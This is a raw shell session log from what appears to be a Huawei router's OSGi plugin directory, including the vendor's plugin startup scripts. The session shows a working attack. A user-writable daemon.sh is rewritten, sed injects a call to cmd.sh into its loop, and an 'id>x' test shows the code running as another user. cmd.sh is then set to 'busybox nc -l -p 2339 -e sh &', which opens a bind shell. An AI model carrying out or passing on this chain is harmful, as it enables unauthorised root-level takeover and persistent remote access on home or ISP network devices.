-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

id

uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)

cd ../MyPlugin.2

ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

cat daemon.sh

#!/bin/sh

# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.


export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH

trap ' ./plugin_stop.sh; exit 1;' 15

while true ; do

 ./plugin_startup.sh

 ./plugin_monitor.sh

 ./plugin_keeplive.sh

done

cat plugin_startup.sh

#!/bin/sh

# Copyright Huawei Technologies Co., Ltd. 2020-2020. All rights reserved.


#deviceFlag为0表示ONT,为1表示DSL

device_flag=0


plugin_type="C"


function updatefileright()

{

    #fifo文件属主如果是root,需要增加other的w权限

    local fifo_info=$(ls -l /var/collect_data_fifo|grep root)

    if [ ! -z "$fifo_info" ];then

        chmod o+w /var/collect_data_fifo

    fi


    #/tmp/proto目录属主如果是root,需要增加other的w权限

    local proto_info=$(ls -l /tmp|grep proto|grep root)

    if [ ! -z "$proto_info" ];then

        chmod o+w /tmp/proto

    fi


    # /dev/urandom 如果other没有r权限,插件启动会卡住

    local urandom_info=$(ls -l /dev/urandom |grep "\-\-\-")

    if [ ! -z "$urandom_info" ];then

        chmod o+r /dev/urandom

    fi


    # 新版本脚本可能是非root, 需要把400权限的文件改成600权限,避免无法修改

    local ro_files=$(find . -type f -exec ls -l \{} \; |grep "r-\-\-\-\-\-\-\-"|awk '{print $NF}')

    for each_file in $ro_files; do

        chmod 600 $each_file

    done


    # 尝试修改ping_group_range文件

    local osgi_gid=$(cat /etc/group|grep "osgi:x"|awk -F':' '{print $3}')

    if grep -E "^1[^0-9]0$" /proc/sys/net/ipv4/ping_group_range; then

        echo "0 ${osgi_gid}" > /proc/sys/net/ipv4/ping_group_range

    fi

}


function prestart()

{

  if [ -e /var/dslFlagForPlugin ]; then

    device_flag=1

  fi

  echo "device_flag=${device_flag}"

  if [ "$device_flag" == "0" ]; then

   chown -Rh osgi_proxy:osgi ../

  fi


  #创建升级用的临时目录

  if [ ! -d /var/Cplugin_upgrade ]; then

   mkdir /var/Cplugin_upgrade

   chown -Rh osgi_proxy:osgi /var/Cplugin_upgrade

   mount none /var/Cplugin_upgrade -t tmpfs -o size=10m,mode=700

  fi


  umask 0027

  if [ "$plugin_type" == "C" ]; then

   updatefileright

  fi

}


function recordoldlog()

{

  echo "[$(date)]================kernelapp reboot==============" > /var/kernelapp_reboot.log

  echo "kernelapp_log.0:" >> /var/kernelapp_reboot.log

  tail -n 500 /var/kernelapp_log.0 >> /var/kernelapp_reboot.log


  echo "kernelapp_lsw.0:" >> /var/kernelapp_reboot.log

  cat /var/kernelapp_lsw.0 >> /var/kernelapp_reboot.log


  echo "kernelapp_event.log:" >> /var/kernelapp_reboot.log

  cat /var/kernelapp_event.log >> /var/kernelapp_reboot.log


  echo "kernelapp_boot.0:" >> /var/kernelapp_reboot.log

  cat /var/kernelapp_boot.0 >> /var/kernelapp_reboot.log


  echo "kernelapp_capierrlog:" >> /var/kernelapp_reboot.log

  cat /var/kernelapp_capierrlog >> /var/kernelapp_reboot.log


  echo "dlog:" >> /var/kernelapp_reboot.log

  dlog |tail -n 200 >> /var/kernelapp_reboot.log


  chmod 640 /var/kernelapp_reboot.log

  if [ ! -e /var/dslFlagForPlugin ]; then

    chown osgi_proxy:osgi /var/kernelapp_reboot.log

  fi

}


function iscbusenv()

{

    local flashSize=$(dbus-send --system --type=method_call --print-reply --dest=com.ctc.igd1 /com/ctc/igd1/Info/Device com.ctc.igd1.Properties.Get string:com.ctc.igd1.DeviceInfo string:FlashSize|tail -n 1|awk '{print $NF}')

    local productType=$(dbus-send --system --type=method_call --print-reply --dest=com.ctc.igd1 /com/ctc/igd1/Info/Device com.ctc.igd1.Properties.Get string:com.ctc.igd1.DeviceInfo string:ProductClass|tail -n 1|awk '{print $NF}')

    if [ -z "${flashSize}" ];then

        flashSize=268435456 # 默认为256M

    fi


    if [ ${flashSize} -le 134217728 ] && [ "${productType}" == "\"HS8145C5\"" -o "${productType}" == "\"HS8145V5\"" -o "${productType}" == "\"HN8145V\"" ];then

        echo "This is cbus evn, flash:${flashSize}, product:${productType}, not support upgrade"

        return 0

    fi


    return 1

}


function startkernelapp()

{

  recordoldlog

  if iscbusenv; then

    return

  fi


  local curdir=$(pwd)

  chmod -R 700 $(pwd)/bin

  cd bin/


  FREEMEM=$(cat /proc/meminfo | grep MemFree | cut -d: -f2 |cut -dk -f1)

  if [ "${FREEMEM}" -gt "5120" ]; then

    echo "begin to start kernelapp..."

    if [ "$device_flag" == "0" ]; then

      echo "ONT mod"

      local who=$(whoami)

      if [ "${who}" == "root" ]; then

        su -s /bin/sh osgi_proxy -c "./kernelapp" &

      else

        ./kernelapp &

      fi


      sleep 1

      kill -9 $(ps | grep "sh -c ./kernelapp" | grep -v grep | awk '{print $1}')

    elif [ "$device_flag" == "1" ]; then

      echo "DSL mod"

      ./kernelapp &

    fi

  else

    echo "no space left on ont!"

  fi


  cd $curdir

}


function rollbackfiles()

{

  echo "rollback files!"

  touch ../Data/upgrade_failed

  if [ -e ../back_dir/kernelapp.tar ]; then

    tar -zxf ../back_dir/kernelapp.tar -C /

    rm -f ../back_dir/kernelapp.tar

  fi

}


function updatefiles()

{

  rm -rf ./Lib/*;mv -f ../MyPlugin1/*.sh ./;cp -rf ../MyPlugin1/* ../MyPlugin

  touch ../MyPlugin1/upgrade_done

  chown -Rh osgi_proxy:osgi ../MyPlugin

}


function startup()

{

  rm -f ../Data/startup_failed

  export MQTT_C_CLIENT_TRACE=/var/kernelapp_mqtt_connect.log

  export MQTT_C_CLIENT_TRACE_LEVEL=PROTOCOL

  export MQTT_C_CLIENT_TRACE_MAX_LINES=6000

  local try=0

  while [ "$try" -lt "3" ] ; do

    echo "startapp $try."

    startkernelapp

    try=$(($try+1))

    sleep 8


    NUM=$(ps | grep kernelapp | grep -v grep |wc -l)

    if [ "${NUM}" -gt "0" ]; then

      echo "startup success"

      return

    fi

  done


  touch ../Data/startup_failed

}


function dostart()

{

  prestart

  startup

  exit

}


function dorollback()

{

  rollbackfiles

  exit

}


function doupdate()

{

  updatefiles

  exit

}


if pidof kernelapp; then

  exit

fi


# 升级已完成文件覆盖

if [ -f ../MyPlugin1/upgrade_done ]; then

  rm -rf ../MyPlugin1

  dostart

fi


# 升级未开始文件覆盖

if [ -e ../MyPlugin1 ]; then

  doupdate

fi


# 升级失败需要回滚

if [ -f ../Data/startup_failed ]; then

  rm ../Data/startup_failed

  dorollback

fi


# 异常退出的场景

dostart


ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

pwd

/mnt/jffs2/app/cplugin/cplugin1/MyPlugin.2

cat daemon.sh

#!/bin/sh

# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.


export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH

trap ' ./plugin_stop.sh; exit 1;' 15

while true ; do

 ./plugin_startup.sh

 ./plugin_monitor.sh

 ./plugin_keeplive.sh

done

cd ../MyPlugin

echo "#!/bin/sh" >daemon.sh

cat daemon.sh

#!/bin/sh

echo "cd ..;cd _MyPlugin;" >> daemon.sh

cat daemon.sh

#!/bin/sh

cd ..;cd _MyPlugin;

echo "export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH" >> daemon.sh

echo "trap ' ./plugin_stop.sh; exit 1;' 15" >> daemon.sh

cat daemon.sh

#!/bin/sh

cd ..;cd _MyPlugin;

export LD_LIBRARY_PATH=/mnt/jffs2/app/cplugin/cplugin1/MyPlugin/Lib:/usr/lib/glib-2.0:/lib:/lib/exlib:/lib/omci_module:/lib/oam_module:/usr/osgi/lib:/usr/osgi/lib/aarch32:/usr/osgi/lib/aarch32/jli:/usr/osgi/lib/aarch32/server:/usr/lib/glib-2.0/

trap ' ./plugin_stop.sh; exit 1;' 15

echo "while true ; do" >> daemon.sh

echo " ./plugin_startup.sh" >> daemon.sh

echo " ./plugin_monitor.sh" >> daemon.sh

echo " ./plugin_keeplive.sh" >> daemon.sh

echo "done" >> daemon.sh

cat daemon.sh

#!/bin/sh

cd ..;cd _MyPlugin;

export LD_LIBRARY_PATH=/mnt/jffs2/app/cplugin/cplugin1/MyPlugin/Lib:/usr/lib/glib-2.0:/lib:/lib/exlib:/lib/omci_module:/lib/oam_module:/usr/osgi/lib:/usr/osgi/lib/aarch32:/usr/osgi/lib/aarch32/jli:/usr/osgi/lib/aarch32/server:/usr/lib/glib-2.0/

trap ' ./plugin_stop.sh; exit 1;' 15

while true ; do

 ./plugin_startup.sh

 ./plugin_monitor.sh

 ./plugin_keeplive.sh

done

ls

Lib

Preload

daemon.sh

etc

log

ls -lt

-rw-r-----  1 srv_clid service    400 Sep 21 01:40 daemon.sh

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 log

drwxr-x---  4 srv_clid service    288 Sep 21 01:24 etc

drwxr-x---  2 srv_clid service    160 Sep 21 01:23 Preload

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

chmod 644 daemon.sh

ls -lt

-rw-r--r--  1 srv_clid service    400 Sep 21 01:40 daemon.sh

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 log

drwxr-x---  4 srv_clid service    288 Sep 21 01:24 etc

drwxr-x---  2 srv_clid service    160 Sep 21 01:23 Preload

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

chmod 777 deamon.sh

ls -lt

-rw-r--r--  1 srv_clid service    400 Sep 21 01:40 daemon.sh

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 log

drwxr-x---  4 srv_clid service    288 Sep 21 01:24 etc

drwxr-x---  2 srv_clid service    160 Sep 21 01:23 Preload

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

chmod 777 daemon.sh

ls -lt

-rwxrwxrwx  1 srv_clid service    400 Sep 21 01:40 daemon.sh

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 log

drwxr-x---  4 srv_clid service    288 Sep 21 01:24 etc

drwxr-x---  2 srv_clid service    160 Sep 21 01:23 Preload

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

sed -i '/while true/a sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh' daemon.sh

cat daemon.sh

#!/bin/sh

cd ..;cd _MyPlugin;

export LD_LIBRARY_PATH=/mnt/jffs2/app/cplugin/cplugin1/MyPlugin/Lib:/usr/lib/glib-2.0:/lib:/lib/exlib:/lib/omci_module:/lib/oam_module:/usr/osgi/lib:/usr/osgi/lib/aarch32:/usr/osgi/lib/aarch32/jli:/usr/osgi/lib/aarch32/server:/usr/lib/glib-2.0/

trap ' ./plugin_stop.sh; exit 1;' 15

while true ; do

sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh

 ./plugin_startup.sh

 ./plugin_monitor.sh

 ./plugin_keeplive.sh

done

cd ..

ls

Data

Info.plugin

MyPlugin

MyPlugin.2

Temp

_MyPlugin

apLocalFlash

cmd.sh

install_dir

cat cmd.sh

id>x

cd _MyPlugin

ls -lt

-rw-r-----  1 osgi_pro osgi      24 Sep 21 01:44 x

-rw-------  1 osgi_pro osgi      122 Jan 1 1981 BuildInfo

drwxr-x---  2 osgi_pro osgi     2376 Jan 1 1981 Lib

drwxr-x---  2 osgi_pro osgi      160 Jan 1 1981 Preload

drwx------  2 osgi_pro osgi      440 Jan 1 1981 bin

-r-xr-x---  1 osgi_pro osgi      281 Jan 1 1981 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Jan 1 1981 etc

drwxr-x---  2 osgi_pro osgi      160 Jan 1 1981 log

-r-xr-x---  1 osgi_pro osgi      93 Jan 1 1981 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Jan 1 1981 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Jan 1 1981 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Jan 1 1981 plugin_stop.sh

cd ..

pwd

/mnt/jffs2/app/cplugin/cplugin1

ls -lt

drwxr-x---  3 osgi_pro osgi      224 Sep 21 01:44 _install_dir

drwxr-x---  7 osgi_pro osgi     1000 Sep 21 01:44 _MyPlugin

drwxr-x---  6 osgi_pro osgi      488 Sep 21 01:44 MyPlugin

-rw-rw----  1 osgi_pro osgi       5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin.2

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

echo 'busybox nc -l -p 2339 -e sh &' > /mnt/jffs2/app/cplugin/cplugin1/cmd.sh

cat cmd.sh

busybox nc -l -p 2339 -e sh &

ls

Data

Info.plugin

MyPlugin

MyPlugin.2

Temp

_MyPlugin

_install_dir

apLocalFlash

cmd.sh

install_dir